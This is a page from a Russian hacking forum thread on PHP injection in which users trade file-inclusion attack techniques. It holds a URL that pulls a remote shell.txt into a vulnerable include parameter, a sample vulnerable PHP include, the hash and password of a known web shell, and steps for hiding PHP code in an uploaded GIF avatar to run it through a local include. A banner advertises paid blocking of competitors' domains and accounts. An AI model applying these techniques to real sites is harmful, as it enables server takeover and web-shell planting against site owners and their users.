php injection

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > ИНФО > Статьи > Авторские статьи
php injection

Страница 7 из 8

« Первая

Опции темы

Поиск в этой теме

Опции просмотра

#61

11.11.2009, 01:13

Ins3t

Участник форума

Регистрация: 18.07.2009

Сообщений: 272

С нами: 8850336

Репутация: 330

да

#62

11.11.2009, 01:20

B1t.exe

Постоянный

Регистрация: 06.11.2006

Сообщений: 865

С нами: 10268804

Репутация: 208

а там пароль по умолчанию не знаю

( только есть хэш: 63a9f0ea7bb98050796b649e85481845

а зачем папка WSOmanager ? там что ?
кстати, а как тогда направить инклюд, если этот шелл требует авторизацию?
темно как то мне ....

#63

11.11.2009, 01:22

Ins3t

Участник форума

Регистрация: 18.07.2009

Сообщений: 272

С нами: 8850336

Репутация: 330

root пароль, там комент должен быть:
63a9f0ea7bb98050796b649e85481845 // root
как то так, не помню точно.
И хватит оффтопить в теме.

#64

12.11.2009, 22:52

B0o0M

Участник форума

Регистрация: 03.08.2009

Сообщений: 103

С нами: 8827046

Репутация: 13

index.php?page=http://nabstre.tu2.ru/shell.txt? вот почему в конце ? никак не пойму,
если можно то плиссс с примером исходного кода

#65

12.11.2009, 22:56

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

С нами: 9780227

Репутация: 1423

Цитата:

Сообщение от B0o0M

index.php?page=http://nabstre.tu2.ru/shell.txt? вот почему в конце ? никак не пойму,
если можно то плиссс с примером исходного кода

http://forum.antichat.ru/thread23501.html

см Примечания к перовму разделу

#66

12.11.2009, 23:18

Ins3t

Участник форума

Регистрация: 18.07.2009

Сообщений: 272

С нами: 8850336

Репутация: 330

Бум, елементарный пример:

PHP код:


		
			
<?

$re = $_GET['re'];

include($re.".php");

?>

Цитата:

localhost/script.php?re=http://localhost/shell.txt?

#67

13.06.2011, 02:07

Static

Новичок

Регистрация: 17.07.2010

Сообщений: 20

С нами: 8327126

Репутация: 0

Цитата:

Сообщение от None

Можно залить gif картинку и поместить в конец простенький шелл подставить

Код:

php highlight:

при инклуде картинки она проинклудится не как картинка а как php код...

прочел на форуме одном

можете подробней описать сей процесс ? ни как дойти не может

#68

13.06.2011, 02:11

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

С нами: 9410786

Репутация: 2731

Смотри... У тебя есть локальный инклуд. Твоя задача - подставить туда такой файл, чтобы выполнялся твой код. Ищешь какие-нибудь форумы, cms'ки и т.д. Регаешься там. И заливаешь туда картинку как аватарку. Но до этого в конец этой картинки вставляешь свой код. Таким образом, проинклудив эту аватарку, у тебя есть выполняется твой evil-code.